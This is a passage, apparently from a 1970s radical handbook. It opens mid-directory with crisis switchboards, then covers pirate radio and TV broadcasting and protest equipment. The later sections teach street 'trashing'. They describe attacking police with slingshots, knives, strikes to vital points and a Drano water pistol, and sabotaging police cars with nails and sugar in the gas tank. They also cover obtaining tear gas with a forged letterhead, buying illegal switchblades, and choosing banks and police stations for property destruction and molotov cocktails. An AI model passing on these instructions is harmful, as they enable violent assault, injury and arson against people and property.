HELP - c/o Marby Beil, 1708 E. Lafayette, Number 5, Milwaukee, Wisconsin (414)
273-5959
UNITED CHURCH PRESBYTERIAN - 181 Mount Horeb Rd., Warren, N.J. (201)
469-5044
BOSTON SWITCHBOARD - 45 Bowdoin St., Boston, Mass. (617) 246-4255
PROJECT PLACE - 37 Rutland St., Boston, Mass.(617)267-5280
BEVERLY SWITCHBOARD - Beverly Hospital, Beverly, Mass. (617) 922-0000
FIRST CONGREGATIONAL CHURCH OF ACTON - 8 Concord Rd., Acton, Mass. (617)
263-3940
HALF WAY HOUSE - 20 Linwood Sq., Roxbury, Mass. (617) 442-7591
ACID - 13 Linden Ave., Malden, Mass. (617) 342-2218
PROJECT ASSIST - 945 Great Plain Ave., Needham, Mass. (617) 444-1902& 3
LEXINGTON - ARLINGTON HOT LINE - 1912 Mass. Ave., Lexington, Mass. (617)
862-8130&1
COMMUNITY YOUTH COMMISSION - 945 Great Plain Ave., Needham, Mass. (617)
444-1795
HOT LINE - 429 Cherry St., West Newton, Mass. (617) 969-5906
Other Countries
BINARY INFORMATION TRANSFER - 141 Westbourne Park Rd., London W2, England.
Ask overseas operator for London 222-8219
CANADIAN SWITCHBOARD - 282 Rue Ste. Catherine, West, Montreal, Quebec,
Canada (514) 866-2672
For a complete and up-to-date list of switchboards and similar projects around the
country, write to San Francisco Switchboard. They need 25 cents to cover postage costs.
Guerrilla Broadcasting
GUERRILLA RADIO
Under FCC Low Power Transmission Regulations, it is legal to broadcast on the AM band
without even obtaining a license, if you transmit with 100 milliwatts of power or less on a
free band space that doesn't interfere with a licensed station. You are further allowed up to
a 12-foot antenna or the use of carrier-current transmission (regular electric wall outlets).
Using this legal set-up, you can broadcast from a 2 to 20 block radius depending on how
high up you can locate your antenna and the density of tall buildings in the area.
Carrier-current broadcasting consists of plugging the transmitter into a regular wall socket.
It draws power in the same way as any other electrical appliance, and feeds its signal into
the power line allowing the broadcast to be heard on any AM radio tuned into the operating
frequency. The transmitter can be adjusted to different frequencies until a clear band is
located. The signal will travel over the electrical wiring until it hits a transformer where it
will be erased. The trouble with this method is that in large cities, almost every large office
or apartment building has a transformer. You should experiment with this method first, but
if you are in a city, chances are you'll need an antenna rigged up on the roof. Anything over
twelve feet is illegal, but practice has shown that the FCC won't hassle you if you don't have
commercials and refrain from interfering with licensed broadcasts. There are some cats in
Connecticut broadcasting illegally with a 100-foot antenna over a thirty mile radius for
hours on end and nobody gives them any trouble. Naturally if you insist upon using dirty
language, issuing calls to revolution, broadcasting bombing information, interfering with
above ground stations and becoming too well known, the FCC is going to try and knock you
out. There are penalties that have never been handed out of up to a year in jail. It's possible
you could get hit with a conspiracy rap, which could make it a felony, but the opinion of
movement lawyers now is a warning if you're caught once, and a possible fine with stiffer
penalties possible for repeaters that are caught.
If it gets really heavy, you could still broadcast for up to 15 minutes without being
pin-pointed by the FCC sleuths. By locating your equipment in a panel truck and
broadcasting from a fixed roof antenna, you can make it almost impossible for them to
catch you by changing positions.
There has been a variety of transmitting equipment used, and the most effective has been
found to be an AM transmitter manufactured by Low Power Broadcasting Co., 520 Lincoln
Highway, Frazer, Penn. 19355. Call Dick Crompton at (215 NI 4-4096. The right
transmitter will run about $200. If you plan to use carrier-current transmission you'll also
need a capacitor that sells for $30. An antenna can be made out of aluminum tubing and
antenna wiring available at any TV radio supply store (see diagram). You'll also need a good
microphone that you can get for about $10. Naturally, equipment for heavier broadcasting
is available if a member of your group has a license or good connections with someone who
works in a large electronics supply house. Also with a good knowledge in the area you can
build a transmitter for a fraction of the purchase price. You can always employ tape
recorders, turntables and other broadcasting hardware depending on how much bread you
have, how much stuff you have to hide (i.e., how legal your operation is) and the type of
broadcasting you want to do.
It is possible to extend your range by sending a signal over the telephone lines to other
transmitters which will immediately rebroadcast. Several areas in a city could be linked
together and even from one city to another. Theoretically, if enough people rig up
transmitters and antennas at proper locations and everyone operates on the same band, it
is possible to build a nation-wide people's network that is equally theoretically legal.
Broadcasting, it should be remembered, is a one-way transmission of information.
Communications which allow you to transmit and receive are illegal without a license (ham
radio).
GUERRILLA TELEVISION
There are a number of outlaw radio projects going on around the country. Less frequent,
but just as feasible, is a people's television network. Presently there are three basic types
of TV systems: Broadcast, which is the sending of signals directly from a station's
transmitter to home receiver sets; Cable, where the cable company employees extremely
sensitive antenna to pick up broadcast transmissions and relay them and/or they originate
and send them; and thirdly, Closed Circuit TV, such as the surveillance cameras in
supermarkets, banks and apartment house lobbies.
The third system as used by the pigs is of little concern, unless we are interested in not
being photographed. The cameras can be temporarily knocked out of commission by
flashing a bright light (flashbulb, cigarette lighter, etc.) directly in front of its lens. For our
own purposes, closed-circuit TV can be employed for broadcasting rallies, rock concerts or
teach-ins to other locations. The equipment is not that expensive to rent and easy to
operate. Just contact the largest television or electronics store in your area and ask about
it. There are also closed-circuit and cable systems that work in harmony to broadcast
special shows to campuses and other institutions. Many new systems are being developed
and will be in operation soon.
Cable systems as such are in use only in a relatively few areas. They can be tapped either
at the source or at any point along the cable by an engineer freak who knows what to do.
The source is the best spot, since all the amplification and distribution equipment of the
system is available at that point. Tapping along the cable itself can be a lot hairier, but
more frustrating for the company when they try to trace you down.
Standard broadcasting that is received on almost all living room sets works on an RF (radio
frequency) signal sent out on various frequencies which correspond to the channels on the
tuner. In no area of the country are all these channels used. This raises important political
questions as to why people do not have the right to broadcast on unused channels. By
getting hold of a TV camera (Sony and Panasonic are the best for the price) that has an RF
output, you can send pictures to a TV set simply by placing the camera cable on or near
the antenna of the receiver set. When the set is operating on the same channel as the
camera, it will show what the camera sees. Used video tape recorders such as the Sony CV
series that record and play back audio and video information are becoming more available.
These too can be easily adapted to send RF signals the same as a live camera.
Whether or not the program to be broadcasted is live or on tape, there are three steps to
be taken in order to establish a people's TV network. First, you must convert the video and
audio signals to an RF frequency modulated (FM) signal corresponding to the desired
broadcast channel. We suggest for political and technical reasons that you pick one of the
unused channels in your area to begin experimenting. The commercial stations have an
extremely powerful signal and can usually override your small output. Given time and
experience you might want to go into direct competition with the big boys on their own
channel. It is entirely possible, say in a 10 to 20 block radius, to interrupt a presidential
press-conference with more important news. Electronic companies, such as Jerrold
Electronics Corp., 4th and Walnut Sts., Philadelphia, Pa., make equipment that can RF
both video and audio information onto specific channels. The device you'd be interested in
is called a cable driver or RF modulator.
When the signal is in the RF state, it is already possible to broadcast very short distances.
The second step is to amplify the signal so it will reach as far as possible. A linear amplifier
of the proper frequency is required for this job. The stronger the amplifier the farther and
more powerful the signal. A 10-watt job will cover approximately 5 miles (line of sight) in
area. Linear amplifiers are not that easily available, but they can be constructed with some
electrical engineering knowledge.
The third step is the antenna, which if the whole system is to be mobile to avoid detection,
is going to involve some experimentation and possible camouflage. Two things to keep in
mind about an antenna are that it should be what is technically referred to as a "di-pole"
antenna (see diagram) and since TV signals travel on line of sight, it is important to place
the antenna as high as possible. Although it hasn't been done in practice, it certainly is
possible to reflect pirate signals off an make equipment that can RF both video and audio
existing antenna of a commercial network. This requires a full knowledge of broadcasting;
however, any amateur can rig up an antenna, attach it to a helium balloon and get it plenty
high. For most, the roof of a tall building will suffice. If you're really uptight about your
operation, the antenna can be hidden with a fake cardboard chimney.We realize becoming
TV guerrillas is not everyone's trip, but a small band with a few grand can indeed pull it off.
There are a lot of technical freaks hanging around recording studios, guitar shops, hi-fi
stores and engineering schools that can be turned on to the project. By showing them the
guidelines laid out here, they can help you assemble and build various components that are
difficult to purchase (i.e., the linear amplifier). Naturally, by building some of the
components, the cost of the operation is kept way down. Equipment can be purchased in
selective electronics stores. You'll need a camera, VTR, RF modulator, linear amplifier and
antenna. Also a generator, voltage regulator and an alternator if you want the station to be
mobile. One of the best sources of information on both television and radio broadcasting is
the Radio Amateur's Handbook published by the American Radio Relay League, Newington,
Conn. 06611 and available for $4.50. The handbook gives a complete course in electronics
and the latest information on all techniques and equipment related to broadcasting. Back
issues have easy to read do-it-yourself TV transmitter diagrams and instructions. Also
available is a publication called Radical Software, put out by Raindance Corp., 24 E. 22nd
St., New York, N.Y., with the latest info on all types of alternative communications.
Guerrilla TV is the vanguard of the communications revolution, rather than the avant-garde
cellophane light shows and the weekend conferences. One pirate picture on the sets in
Amerika's living rooms is worth a thousand wasted words.
With the fundamentals in this field mastered, you can rig up all sorts of shit. Cheap
twenty-dollar tape recorders can be purchased and outfitted with a series of small
loud-speakers. Concealed in a school auditorium or other large hall, such a system can
blast out any message or music you wish to play. The administration will go insane trying to
locate the operation if it is well hidden. We know two cats who rigged a church with this
type of setup and a timing device. Right in the middle of the sermon, on came Radio
Heaven and said stuff like "Come on preacher, this is God, you don't believe all that crap
now, do you?" It made for an exciting Sunday service, all right. You can build a miniature
transmitter and with a small magnet attach it to the underbelly of a police car to keep
track of where it's going. This would only be practical in a small town or on a campus where
there are only a few security guards or patrol vehicles. If you rigged a small tape recorder
to the transmitter and tuned it to a popular AM band, the patrol car as it rode around
could actually broadcast the guerrilla message you prerecorded. Wouldn't they be
surprised when they found out how you did it? You can get a "Bumper Beeper" and receiver
that are constructed by professionals for use by private detectives. The dual unit costs
close to $400. If you've got that kind of bread, you can write John Bomar, 6838 No. 3rd
Ave., Phoenix, Arizona 85013 for a catalogue and literature.
Even though there are laws governing the area of sneaky surveillance, telephone taps,
tracking devices and the like, a number of enterprising firms produce an unbelievable array
of electronic hardware that allows you to match Big Brother's ears and eyes. Sugar cube
transmitters, tie clasp microphones, phone taps, tape recorders that work in a
hollowed-out book and other Brave New World equipment is available from the following
places. Send for their catalogues just to marvel at the level of technology. R. B. Clifton,
1150 NW 7th Ave., Miami, Fla. 33168; Electrolab Corp., Bank of Stateboro Building,
Stateboro, Ga. 30458; or Tracer Investigative Products, Inc., 256 Worth. Ave., Palm, Beach,
Fla. 33482.
By the way, you can pick up Radio Hanoi on a short wave radio every day from 3:00 to 3:30
PM at 15013 kilocycles on the 19 meter band.
Demonstrations
Demonstrations always will be an important form of protest. The structure can vary from a
rally or teach-in to a massive civil disobedience such as the confronting of the warmakers at
the Pentagon or a smoke-in. A demonstration is different from other forms of warfare
because it invites people other than those planning the action via publicity to participate. It
also is basically non-violent in nature. A complete understanding of the use of media is
necessary to create the publicity needed to get the word out. Numbers of people are only
one of the many factors in an effective demonstration. The timing, choice of target and
tactics to be employed are equally important. There have been demonstrations of 400,000
that are hardly remembered and demonstrations of a few dozen that were remarkably
effective. Often the critical element involved is the theater. Those who say a demonstration
should be concerned with education rather than theater don't understand either and will
never organize a successful demonstration, or for that matter, a successful revolution.
Publicity includes everything from buttons and leaflets to press conferences. You should be
in touch with the best artists you can locate to design the visual props. Posters can be silk
screened very cheaply and people can be taught to do it in a very short time. Buttons have
to be purchased. The cheapest are those printed directly on the metal. The paint rubs off
after a while, but they are ideal for mass demonstrations. You can print 10,000 for about
$250.00. Leaflets, like posters, should be well designed.
One way of getting publicity is to negotiate with the city for permits. Again, this raises
political questions, but there is not doubt one reason for engaging in permit discussions is
for added publicity.
The date, time and place of the demonstration all have to be chosen with skill. Know the
projected weather reports. Pick a time and day of the week that are convenient to most
people. Make sure the place itself adds some meaning to the message. Don't have a
demonstration just because that's the way it's always been done. It is only one type of
weapon and should be used as such. On the other hand, don't dismiss demonstrations
because they have always turned out boring. You and your group can plan a demonstration
within the demonstration more accurately. Also don't tend to dismiss demonstrations
outright because the repression is too great. During World War II the Danes held street
demonstrations against the Nazis who occupied their country. Even today there are public
demonstrations against the Vietnam War in downtown Saigon. Repression is there, but
overestimating it is more a tactical blunder than the reverse. None the less, it's wise to go
to all demonstrations prepared for a vamping by the pigs.
DRESS
Most vamping is accompanied by clubbing, rough shoving and dragging, gassing and
occasional buckshot or rifle fire. The clothing you wear should offer you the best protection
possible, yet be light weight enough to allow you to be highly mobile. CS and CN are by far
the most commonly employed tear gas dispersibles. Occasionally they are combined with
pepper gas to give better results. Pepper gas is a nerve irritant that affects exposed areas
of the skin. Clothing that is tight fitting and covers as much of the body surface as possible
is advisable. This also offers some protection if you are dragged along the ground. Gloves
come in handy as protection and if you want to pick up gas canisters and throw them back
at the pigs or chuck them through a store window.
Your shoes should be high sneakers for running or boots for kicking. Hiking boots sold in
army surplus stores serve both purposes and are your best selection for street action. Men
should wear a jock strap or protective cup. Rib guards can be purchased for about $6.00
at any sporting goods store. Shoulder pads and leg pads are also available, but unless you
expect heavy fighting and are used to wearing this clumsy street armor, you'll be better off
without it.
HELMETS
Everyone should have a helmet. Your head sticks out above the swarming crowd and dents
like a tin can. Protect it! The type of helmet you get depends on what you can afford and
how often you'll be using it. The cheapest helmet available is a heavy steel tank model. This
one is good because it offers ear protection and has a built-in suspension system to absorb
the blow. It is also bullet proof. It's disadvantages are that it only comes in large sizes and
is the heaviest thing you'll ever have on your head. It costs about $3.00. For $5.00 you can
get a Civil Defense helmet made for officers. It's much lighter, but doesn't offer protection
for the ears. It has a good suspension system. If you get this model, paint it a dark color
before using it and you'll be less conspicuous. Our fashion consultants suggest anarchy
black.
Construction helmets or "hard hats" run between $8.00 and $10.00, depending on the type
of suspension system and material used. They are good for women because they are
extremely lightweight. The aluminum ones dent if struck repeatedly and the fiberglass type
can crack. Also they offer no ear protection. If you prefer one of these you should find a way
to attach a chin or neck strap so you won't lose it while you run. If you get a hard hat, make
sure you remove the hard head before you take it home.
Probably the all-around good deal for the money is the standard M-1 Army issue helmet.
These vary in quality and price, depending on age and condition. They run from $2.00 to
$10.00. Make sure the one you get has a liner with webbing that fits well or is adjustable
and has a chin strap. Their main disadvantage is that they are bulky and heavy.
The snappiest demonstrators use the familiar motorcycle crash helmet. They are the
highest in price, running from $10.00 to as high as $40.00. Being made of fiberglass, they
are extremely lightweight. They have a heavy-duty strap built in and they can be gotten to
fit quite snugly around the head. They offer excellent ear protection. The foam rubber
insulation is better than a webbing system, and will certainly cushion most blows. Being
made of fiberglass, a few have been known to crack under repeated blows, but that is
extremely rare. Most come with plastic face guards that offer a little added protection.
Get only those with removable ones since you might want to make use of a gas mask.
GAS MASKS
Ski goggles or the face visor on a crash helmet will protect against Mace but will offer no
protection against the chemical warfare gasses being increasingly used by pigs to dispose
crowds. For this protection you'll need a gasmask. All the masks discussed give ideal
protection against the gasses mentioned in the chart if used properly. If you do not have a
gas mask, you should at least get a supply of surgical masks from a hospital supply store
and a plastic bag filled with water and a cloth.
The familiar World War II Army gas mask with the filter in a long nose unit sells new (which
is the only way gas masks can be sold) for about $5.00. Its disadvantages are that it
doesn't cover the whole face, is easy to grab and pull off and the awkwardly placed filter
makes running difficult. The Officer Civil Defense unit sells for the same price and
overcomes the disadvantages of the World War II Army model. Most National Guard units
use this type of mask. It offers full face protection, is lightweight and the filter canister is
conveniently located. Also the adjustable straps make for a nice tight fit. The U.S.A.
Protective Field Combat Mask M9A1 offers the same type protection as the OCD, but
costs twice as much. Its advantage is that you can get new filter canisters when the
chemicals in the one you are using becomes ineffective. New filters cost about $1.50. When
you buy a mask, be sure and inquire if the filter has replacements. To get maximum
efficiency out of a mask it needs an active chemical filter.
The U.S. Navy ND Mark IV Mask is the most effective gas mask available. It has replaceable
filter canisters and fits snugly to the head. It costs about $12.00. Its disadvantage is its
dual tube filter system, which is somewhat bulky. Fix it so the canister rests on the back of
your needs. It's more difficult to grab and easier to run.
When you get your gas mask home, try it out to get the feeling of using it. Make sure the fit
is good and snug. Purchase an anti-fog cloth for 25 cents where you got the mask. Wipe the
inside of the eye pieces before wearing to prevent the glasses from clouding. Another good
reason for wearing a mask is that it offers anonymity. Helmets, gas masks and a host of
other valuable equipment are available at any large Army-Navy surplus store. Kaufman's
Surplus and Arms, Inc., 623 Broadway, New York, N.Y. 10012 is very well stocked. For 75
cents you can get their catalogue and order through the mail. It's in New York though and
probably more expensive than a store in your locale. The surplus stores buy from wholesale
distributors themselves, who in turn buy directly from the military. If you know a soldier or
someone who is married to a soldier, they have access to the Post Dispensary or PX and
can get all sorts of stuff at nothing prices. For 20 cents you can get an invaluable pamphlet
from the Government Printing Office called How to Buy Surplus Personal Property. It has a
complete list of regional surplus wholesalers. The closest one in the Northeast is the Naval
Supply Center, Building 652, U.S. Naval Base, Philadelphia, Pa. and in Northern California,
the Naval Supply Center, Building 502, Oakland, California. You can order by mail or in
person and the prices are very low, even though it isn't as good as the stuff our brothers
and sisters in the Viet Cong rip-off.
WALKIE-TALKIES
You should always go to a demonstration in a small group that stays in contact with each
other until the demonstration is over. One way to keep in touch is to use walkie-talkies. No
matter how heavy the vamping gets or how spread out are the crowds, you'll be able to
communicate with these lightweight effective portable devices. The only disadvantage is
cost. A half decent unit costs at least $18.00. It should have a minimum of 9 transistors
and 100 milliwatts, although walkie-talkies can go as high as 5 watts and broadcast over 2
miles. Anything under 1 watt will not broadcast over ½ mile and considerably less in an
area with tall buildings. The best unit you can buy runs about $300.00. If you ever deck a
pig, steal his walkie-talkie even before you take his gun. A good rule is to avoid the bargain
gyp-joints and go to a place that deals in electronic equipment.
The important thing to realize about all walkie-talkie networks is that if anyone can talk,
anyone else can listen and vice versa. This applies to pigs as well as us. All walkie-talkies
work on the Civilian Band which has 23 channels. The cheaper units are preset to channel 9
or 11. The pigs broadcast on higher channels, usually channel 22. More expensive sets can
operate on alternative channels. By removing the front of the set, you can adjust the
transmitter and receiver to pick up and receive police communications. Don't screw around
with the inside though, unless you know what you are doing. Allied Radio, 100 N. Western
Ave., Chicago, Illinois 60680, will send you a good free catalogue, as will most large
electronic stores. Consider buying a number of sets and ask about group discounts.
Practice a number of times before you actually use walkie-talkies in real action. Develop
code names and words just like the pigs do. Once you get acquainted with this method of
communications in the streets, you'll never get cut off from the action. Watch out in close
combat though. The pigs always try to smash any electronic gear.
OTHER EQUIPMENT
A sign can be used to ward off blows. Staple it to a good strong pole that you can use as a
weapon if need be. Chains make good belts, as do garrisons with the buckles sharpened. A
tightly rolled-up magazine or newspaper also can be used as a defensive weapon.
Someone in your group should carry a first aid kit. A Medical Emergency Aeronautic Kit,
which costs about $5.00 has a perfect carrying bag for street action.
Ideally you should visit the proposed site of the demonstration before it actually takes
place. This way you'll have an idea of the terrain and the type of containment the police will
be using. Someone in your group should mimeograph a map of the immediate vicinity which
each person should carry. Alternative actions and a rendezvous point should be worked out.
Everyone should have two numbers written on their arm, a coordination center number and
the number of a local lawyer or legal defense committee. You should not take your personal
phone books to demonstrations. If you get busted, pigs can get mighty Nosy when it comes
to phone books. Any sharp objects can be construed as weapons. Women should not wear
earrings or other jewelry and should tie their hair up to tuck it under a helmet. Wear a belt
that you can use as a tourniquet. False teeth and contact lenses should be left at home if
possible. You can choke on false teeth if you receive a sharp blow while running. Contact
lenses can complicate eye damage if gas or Mace is used.
If it really looks heavy, you might want to pick up on a lightweight adjustable bullet-proof
vest, available for $14.95 from Surplus Distributors, Inc., 6279 Van Nuys Blvd., Van Nuys,
California 91401. Remember what the Boy Scouts say when they go camping: "Be
Prepared". When you go to demonstrations you should be prepared for a lot more than
speeches. The pigs will be.
Trashing
Ever since the Chicago pigs brutalized the demonstrators in August of 1968, young people
have been read to vent their rage over Amerika's inhumanity by using more daring tactics
than basic demonstrations. There is a growing willingness to do battle with the pigs in the
streets and at the same time to inflict property damage. It's not exactly rioting and it's not
exactly guerrilla warfare; it has come to be called "Trashing." Most trashing is of a primitive
nature with the pigs having the weapon and strategy advantage. Most trashers rely on
quick young legs and a nearby rock. By developing simple gang strategy and becoming
acquainted with some rudimentary weapons and combat techniques, the odds can be
shifted considerably.
Remember, pigs have small brains and move slowly. All formations, signals, codes and other
procedures they use have to be uniform and simplistic. The Army Plan for Containment and
Control of Civil Disorders, published by the Government Printing Office, contains the basic
thinking for all city, county and state storm troopers. A trip to the library and a look at any
basic text in criminology will help considerably in gaining an understanding of how pigs act
in the street. If you study up, you'll find you can, with the aid of a bullhorn or properly
adjusted walkie-talkie, fuck up many intricate pig formations. "Left flank-right turn!" said
authoritatively into a bullhorn pointed in the right direction will yield all sorts of wild results.
You should trash with a group using a buddy system to keep track of each other. If
someone is caught by a pig, other should immediately rush to the rescue if it's possible to
do so without sustaining too many losses. If an arrest is made, someone from your gang
should take responsibility for seeing to it that a lawyer and bail bread are taken care of.
Never abandon a member of your gang.
Avoid fighting in close quarters. You run less risk by throwing an object than by personally
delivering the blow with a weapon you hold in your hand. We suppose this is what pigs refer
to as "duty fighting." All revolutionaries fight dirt in the eyes of the oppressors. The British
accused the Minutemen of Lexington and Concord of fighting dirty by hiding behind trees.
The U.S. Army accuses the Viet Cong of fighting dirty when they rub a pointed bamboo
shoot in infected shit and use it as a land mine. Mayor Daley says the Yippies squirted hair
spray and used golf balls with spikes in them against his innocent blue boys. No one ever
accused the U.S. of being sneaky for using an airforce in Southeast Asia or the Illinois State
Attorney's office of fighting dirty when it murdered Fred Hampton and Mark Clark while
they lay in bed. We say: all power to the dirty fighters!
WEAPONS FOR STREET FIGHTING
Spray Cans
These are a very effective and educating method of property destruction. If a liberated
zone has been established or you find yourself on a quiet street away from the thick of
things, pretty up the neighborhood. Slogans and symbols can be sprayed on rough surfaces
such as brick or concrete walls that are a real bitch to remove unless expensive
sandblasting is used.
The Slingshot
This is probably the ideal street weapon for the swarms of little Davids that are out to
down the Goliaths of Pigdom. It is cheap, legal to carry, silent, fast-loading and any right
size rock will do for a missile. You can find them at hobby shops and large sporting goods
stores, especially those that deal in hunting supplies. Wrist-Rocket makes a powerful and
accurate slingshot for $2.50. The Whamo Sportsman is not as good but half the price. By
selecting the right "Y" shaped branch, you can fashion a home-made one by using a strip of
rubber cut from the inner tube of a tue as the sling. A few hours of shooting stones at cans
in the back yard or up on the roof will make you marksman enough for those fat bank
windows and even fatter pigs.
Slings
A sling is a home-made weapon consisting of two lengths of heavy-duty cord each attached
securely at one end to a leather patch that serves as a pocket to cradle the rock. Place the
rock in the pouch and grab the two pieces of cord firmly in your hand. Whirl the rock round
and round until gravity holds it firmly in the pouch. When you feel you have things under
control, let one end of the cord go and the rock will fly out at an incredible speed. You
should avoid using the sling in a thick crowd (rooftop shooting is best). Practice is definitely
needed to gain any degree of accuracy.
Boomerangs
The boomerang is a neat weapon for street fighting and is as easy to master as the
Frisbee. There is a great psychological effect in using exotic weapons such as this. You can
buy one at large hobby stores. On the East Coast you can get one from Sportscraft,
Bergenfield, New Jersey, for $2.69, and on the West Coast from Whamo, 835 El Monte St.,
San Gabriel, Calif., for $1.10.
Flash Guns
Electric battery-operated flash guns are available that will blind a power-crazy pig, thus
distracting him long enough to rescue a captured comrade. Check out camping and
boating supply stores.
Tear Gas and Mace
Personalized tear gas and mace dispensers are available for self-defense against muggers.
Well, isn't a pig just an extra vicious mugger? Write J.P. Darby, 8813 New Hyde Park, New
York, N.Y. 11040 for a variety of types and prices.
Tear gas shells are available for 12 gauge shotguns and .38 Special handguns, but it is
highly inadvisable to bring guns to street actions. A far better weapon is a specially built
projection device that shoots tear gas shells. Hercules Gas-Munitions Corp., 5501 No.
Broadway, Chicago, Ill., sells compact units complete with cartridges for $6.95 that will fire
up to 20 feet. Penguin Associates, Inc., Pennsylvania Avenue, Malvern, Penn., also has a
variety of tear-gas propellant devices including a combination tear gas-billyclub item. All
these companies will supply a catalogue and price list on request. Some states have laws
against civilian use of tear gas devices. New York is one of them, and unfortunately these
companies will not ship to states that forbid usage. If you want any of these items, and your
state has restrictions, have a sister or brother in a neighboring state order for you. Just
latching onto these catalogues can be a trip and a half in terms of getting your imagination
hopping. For example Raid, Black Flag and other insecticides shoot a 7 to 10 foot stream
that burns the eyes. You can also dissolve Drano in water and squirt it from an ordinary
plastic water pistol. That makes a highly effective defensive weapon. A phony letterhead of
a Civil Defense unit will help in getting heavier anti-personal weapons of a defensive nature.
Anti-Tire Weapons
Don't believe all those bullshit tire ads that make tires seem like the Superman of the
streets. Roofing nails spread out on the street are effective in stopping a patrol car. A nail
sticking out from a strong piece of wood wedged under a rear tire will work as effectively as
a bazooka. An ice pick will do the trick repeatedly but you've got to have a strong arm to
strike home. Sugar in the gas tank of a pig vehicle will really fuck-up the engine.
Authentic Pig Game
If you really get into it, you'll probably want to be sd heavily prepared for trashing as are
the pigs. Wouldn't you just know that the largest supplier of equipment to police in the
world is in Chicago. Kale's, 550 W. Roosevelt Rd., Chicago, Ill. 60607, will send you, on
request, the most complete catalogue you can get for trashing. Actual police uniforms,
super-riot helmets, persuaders chemical mace, a knuckle sap, which is a glove with
powdered lead, billy clubs, secret holsters, a three-in-one mob stick that spits Mace, emits
an electric shock and allows you to club to death a charging rhinoceros. You can also get
the latest in handcuffs and other security devices. This catalogue is a must for the
love-child of the 70's. If we want to get high we're going to have to fight our way up.
KNIFE FIGHTING
Probably one of the most favored street weapons of all time is the good old "shiv," "blade,"
"toe-jabber" or whatever you choose to call a good sticker. Remembering that today's pig is
tomorrow's bacon, it's good to know a few handy slicing tips. The first thing to learn is the
local laws regarding the possession of knives. The laws on possession are of the "Catch-22"
vagueness. Cops can arrest you for having a small pocket knife and claim you have a
concealed and deadly weapon in your possession. Here, as in most cases of law, it's not
what you are doing, it's who's doing the what that counts. All areas, however, usually have a
limit on length such as blades under 4" or 6" are legal and anything over that length
concealed on a person can be considered illegal. Asking some hip lawyers can help here.
Unfortunately, the best fighting knives are illegal. Switchblades (and stilettos) because they
can so quickly spring into operation, are great weapons that are outlawed in all states. If
you want to risk the consequences, however, you can readily purchase these weapons once
you learn how to contact the criminal underworld or in most foreign countries. If both of
these fail, go to any pawnshop, look in the window, and take our choice of lethal, illegal
knives.
A flat gravity knife, available in most army surplus and pawn shops would be the best type
available in regular over-the-counter buying. It's flat style makes for easy concealment and
comfort when kept in a pocket or boot. It can be greased and the rear "heel" of the blade
can be filed down to make it fly open with a flick of the wrist. A little practice here will be
very useful.
Most inexperienced knife fighters use a blade incorrectly. Having seen too many Jim Bowies
slash their way through walls of human flesh, they persist in carrying on this inane tradition.
Overhead and uppercut slashes are a waste of energy and blade power. The correct
method is to hold the knife in a natural, firm grip and jab straight ahead at waist level with
the arm extending full length each time. This fencing style allows for the maximum reach of
arm and blade. By concentrating the point of the knife directly at the target, you make
defense against such an attack difficult. Work out with this jabbing method in front of a
mirror and in a few days you'll get it down pretty well.
UNARMED DEFENSE
Let's face it, when it comes to trashing in the streets, our success is going to depend on
our cunning and speed rather than our strength and power. Our side is all quarterbacks,
and the pigs have nothing but linemen. They are clumsy, slobbish brutes that would be lost
without their guns, clubs and toy whistles. When one grabs you for an arrest, you can with a
little effort, make him let go. In the confusion of all the street action, you will then be able
to manage your getaway.
There are a variety of defensive twists and pulls that are easy to master by reading a good,
easily understandable book on the subject, such as George Hunter's How To Defend
Yourself (see appendix). If a pig grabs you by the wrist you can break the grip by twisting
against his thumb. Try this on yourself by grabbing one wrist with your hand. See how
difficult it is to hold someone who works against the thumb. If he grabs you around the
waist or neck, you can grab his thumbs or another finger and sharply bend it backwards. By
concentrating all your energy on one little finger, you can inflict pain and cause the grip to
be broken.
There are a variety of points on the body where a firm amount of pressure skillfully directed
will induce severe pain. A grip, for example, can be broken by jabbing your finger firmly
between the pig's knuckles. (Nothing like chopped pigknuckles.) Feel directly under your
chin in back of the jawbone until your finger rests in the V area, press firmly upward and
backward towards the center of the head. There is also a very vulnerable spot right behind
the ear lobe. Stick your fingers there and see. Get the point!
In addition to pressure points, there are places in the body where a sharp, well-directed
whack with the side of a rigidly held palm can easily disable a person. Performed by an
expert, such a blow can even be lethal. Try making such a rigid palm and practice these
judo chops. The fist is a ridiculous weapon to use. It's fleshy, the blow is distributed over too
wide an area to have any real effect and the knuckles break easily. You will have to train
yourself to use judo chops instinctively, but it will prove quite worthwhile if you are ever in
trouble. A good place to aim for is directly in the center of the chest cavity at its lowest
point. Draw a straight line up about six inches starting from your belly button, and you can
feel the point. The Adam's Apple in the center of the neck and the back of the neck at the
top of the spinal column are also extremely vulnerable spots. With the side of your palm,
press firmly the spot directly below your nose and above your upper lip. You can easily get
an idea of what a short, forceful chop in this area would do. The side of the head in front of
the ear is also a good place to aim your blow.
In addition to jabs, chops, twists, squeezes and bites, you ought to gain some mastery of
kneeing and kicking. If you are being held in close and facing the porker, the old familiar
knee-in-the-nuts will produce remarkable results. A feinting motion with the head before the
knee is delivered will produce a reflexive reaction from your opponent that will leave his
groin totally unprotected. Ouch!
Whether he has you from the front or the back, he is little prepared to defend against a
skillfully aimed kick. The best way is to forcefully scrape the side of your shoe downward
along the shinbone, beginning just below the knee and ending with a hard stomp on the
instep of the foot. Just try this with the side of your hand and you will get an idea of the
damage you can inflict with this scrape and stomp method. Another good place to kick and
often the only spot accessible is the side of the knee. Even a half successful blow here will
topple the biggest of honkers. Any of these easy to learn techniques of unarmed self
defense will fulfill the old nursery rhyme that goes:
Catch a piggy by the toe
When he hollers
Let him go
Out pops Y-0-U
GENERAL STRATEGY RAP
The guideline in trashing is to try and do as much property destruction as possible without
getting caught or hurt. The best buildings to trash in terms of not alienating too many of
those not yet clued into revolutionary violence, are the most piggy symbols of violence you
can find. Banks, large corporations, especially those that participate heavily in supporting
the U.S. armed forces, federal buildings, courthouses, police stations, and Selective Service
centers are all good targets. On campuses, buildings that are noted for warfare research
and ROTC training are best. When it comes to automobiles, choose only police vehicles and
very expensive cars such as Lamborghinis and Iso Grifos. Every rock or molotov cocktail
thrown should make a very obvious political point. Random violence produces random
propaganda results. Why waste even a rock?
When you know there is going to be a rough street scene developing, don't play into the
pig's strategy. Spread the action out. Help waste the enemy's numbers. You and the other
members of your group should already have a target or two in mind that will make for easy
trashing. If you don't have one, setting fires in trash cans and ringing fire alarms will help
provide a cover for other teams that do have objectives picked out. Putting out street
lights with rocks also helps the general infusion.
After a few tries at trashing, you'll begin to overcome your fears, learn what to expect from
both the pigs and your comrades, and develop your own street strategy. Nothing works like
practice in actual street conditions. Get your head together and you'll become a pro. Don't
make the basic mistake of just naively floating into the area. Don't think "rally" or
